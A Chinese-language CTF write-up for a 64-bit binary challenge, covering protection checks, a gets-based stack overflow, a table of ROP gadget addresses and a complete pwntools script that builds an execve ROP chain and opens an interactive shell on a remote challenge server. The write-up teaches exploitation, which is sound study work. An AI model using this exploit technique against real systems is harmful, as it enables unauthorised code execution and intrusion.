# 堆ROP題目 > Author:堇姬 ## 確認保護 ![image](https://hackmd.io/_uploads/Bkl1bnrvZC.png) 看到有開Stack canary,但溢出後卻沒有報stack canary的錯誤,所以應該是沒開。 另外他有開NX,所以沒辦法寫shellcode ![image](https://hackmd.io/_uploads/B1dwprPZ0.png) ## 分析ASM ![image](https://hackmd.io/_uploads/rJSkCrvZA.png) 有gets 可以BOF,不過沒有其他function可以return過去,所以應該是要ROP ## 堆ROP - execve('bin/sh') |暫存器|值| |---|----| |rax|0x3b| |rdi|要執行的參數值(/bin/sh)| |rsi|argv(這裡=0)| |rdx|envp(這裡=0)| - stack ``` pop rax 0x3b pop rdi command_addr_in_stack pop rsi 0 pop rdx; 0 syscall ``` ROPgadget找位置 |暫存器|位置|要蓋的值| |---|----|----| |pop rax ;ret|0x4516a7|0x3b| |pop rdi ;ret|0x4018c2|0x4c3300| |pop rsi ;ret|0x40f21e|0| |pop rdx ;ret|0x4017cf|0| |syscall|0x4012d3|無| ![image](https://hackmd.io/_uploads/rJgjDLwWC.png) ![image](https://hackmd.io/_uploads/ryd7uLD-R.png) ![image](https://hackmd.io/_uploads/r1KKlwPb0.png) ![image](https://hackmd.io/_uploads/rka3lvwbR.png) ![image](https://hackmd.io/_uploads/HyOuZDDb0.png) 輸入的shellcode存在0x4c3300 ![image](https://hackmd.io/_uploads/rySc5wwb0.png) 要蓋0x70+0x8然後開始ret ![image](https://hackmd.io/_uploads/B1-xswPbA.png) ### Script ```python= from pwn import * r=remote('23.146.248.20', 10009) #r=process('rop0') shellcode_addr=0x004c3300 context.arch='amd64' ROPvar={ 'shellcode':b"/bin/bash\x00", 'pop_rax_ret':0x4516a7, 'pop_rdi_ret':0x4018c2, 'pop_rsi_ret':0x40f21e, 'pop_rdx_ret':0x4017cf, 'syscall':0x4012d3 } STACKvar={ 'rax_var':0x3b, 'rdi_var':shellcode_addr, 'rsi_var':0, 'rdx_var':0, } padding=0x70+0x8 payload=b"a"*padding+flat(ROPvar['pop_rax_ret'], STACKvar['rax_var'], ROPvar['pop_rdi_ret'], STACKvar['rdi_var'], ROPvar['pop_rdx_ret'], STACKvar['rdx_var'], ROPvar['pop_rsi_ret'], STACKvar['rsi_var'], ROPvar['syscall']) r.sendline(ROPvar['shellcode']) r.sendline(payload) r.interactive() ```